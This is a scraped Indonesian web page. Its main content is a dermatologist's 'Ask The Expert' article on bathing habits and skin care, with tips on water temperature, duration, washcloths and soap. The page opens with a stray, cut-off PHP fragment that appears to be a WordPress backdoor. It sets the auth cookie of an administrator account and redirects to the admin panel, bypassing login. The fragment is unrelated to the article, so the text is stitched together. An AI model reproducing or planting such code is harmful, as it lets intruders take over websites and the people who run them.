user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Tips
Ask The Expert : Mandi dan Kesehatan Kulit

19 Oct 2020


Dok. Shutterstock



Mandi minimal dua kali sehari adalah kewajiban yang tidak bisa ditawar. Reminder untuk kita yang banyak #WFH dan melupakan kewajiban mandi ini. Beraktivitas di rumah atau di luar rumah mandi tetap harus dilakukan sebagai protokol kebersihan tubuh yang paling dasar.  

Dan tahukah Anda, banyak di antara kita yang sebetulnya melakukan kesalahan-kesalahan yang tidak disadari saat mandi sehingga hasil membersihkan diri ini tidak maksimal untuk kesehatan kulit kita. Kita cek ya!

1. Mandi membantu melepaskan sel-sel kulit mati serta menghilangkan minyak, kotoran, keringat dan bakteri. Dengan demikian mandi harus dilakukan dengan seksama sehingga benar-benar bersih.

2. Mandi dua kali sehari cukup pada situasi normal. Terlalu sering mandi  juga tidak dianjurkan karena bisa menyebabkan kulit kering dan gatal.

3. Mandilah dengan air hangat suam-suam kuku atau air dingin dengan suhu sewajarnya. Mandi dengan air yang sangat dingin, tidak baik untuk kesehatan kulit, demikian pula mandi dengan air yang terlalu panas. Air panas akan menghilangkan minyak alami kulit dan menyebabkan kulit kering. 

4. Mandi adalah me time, tapi lakukan dalam durasi waktu yang sewajarnya. Sama halnya dengan efek mandi dengan air yang terlalu panas, mandi yang terlalu lama bisa menyebabkan kulit kehilangan lebih banyak minyak, sehingga kelembapannya terganggu.

Jika kulitmu kering, National Eczema Association di Amerika Serikat membatasi waktu mandi maksimal 10 menit. Untuk mandi berendam disarankan cukup 15 menit.

5. Mandi dengan menggunakan waslap yang biasanya menggunakan handuk atau sejenis kain microfiber, dapat membantu untuk penggunaan sabun yang lebih hemat dan efektif. Tetapi yang perlu diingat, bakteri dapat menempel di kain tersebut dan menjadi penghantar bakteri masuk ke dalam kulit kita.

Pastikan  gunakan waslap bersih dan langsung cuci dan keringkan setelah digunakan. Lebih baik menggunakan loofah untuk membersihkan tubuh dan sekaligus mengangkat sel kulit mati.

6. Di saat pandemi ini, hampir semua berpikir untuk menggunakan desinfektan untuk membersihkan apapun termasuk mandi yaitu menggunakan sabun berjenis antiseptik. Perlu diingat bahwa sabun biasa dan air sudah bisa membunuh kuman dan virus. Sabun antiseptik boleh digunakan tapi tidak perlu berlebihan.

Advertisement
Pembersih yang lembut mengandung lipid (baca dalam kemasan) terbukti lebih baik untuk kesehatan kulit pada rentang suhu mandi dan waktu bilas, sangat dianjurkan. 

7. Kalau suka mandi sambil sekalian keramas, maka urutannya adalah sebagai berikut : Keramas lebih dulu dan memakai conditioner, bilas lalu baru menyabuni tubuh dan bilas. Jadi tidak ada sisa-sisa shampoo atau conditioner yang menempel di badan. 

8. Sebenarnya tidak ada jadwal pasti kapan kamu harus mandi, tetapi jika kamu lakukan di pagi hari, maka akan membantu kamu untuk merasa lebih segar dan ‘bangun’. Tetapi jika kamu mandi di malam hari, satu atau dua jam sebelum tidur, maka akan membantu terlelap lebih cepat.

Jadi mandilah dengan baik dan sewajarnya. Di masa pandemi sangat dianjurkan untuk melakukan mandi sesaat setelah kembali dari aktivitas di  luar rumah terutama di area yang banyak kerumunan orang. Oleskan pelembab setelahnya agar kulit tidak kering. Jaga kesehatan. 

Be gentle to your skin!
 
dr Juliana Yu, MD.H NH
House Of Skinovation 

Thamrin Residence, Ruko Blok A no. 10, Jakarta10230
Contact  via WA : 0819-0538-3669 
(Untuk perawatan di klinik dengan perjanjian terlebih dulu)
www.skinovation.co.id




BACA JUGA :
Ask The Expert : 6 Fakta Menarik tentang Kulitmu
Ask The Expert : 7 Kesalahan Menggunakan Sunblock
Ask The Expert : Facial Untuk Pemula



 


Topic

#mandi, #kulit, #asktheexpert

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?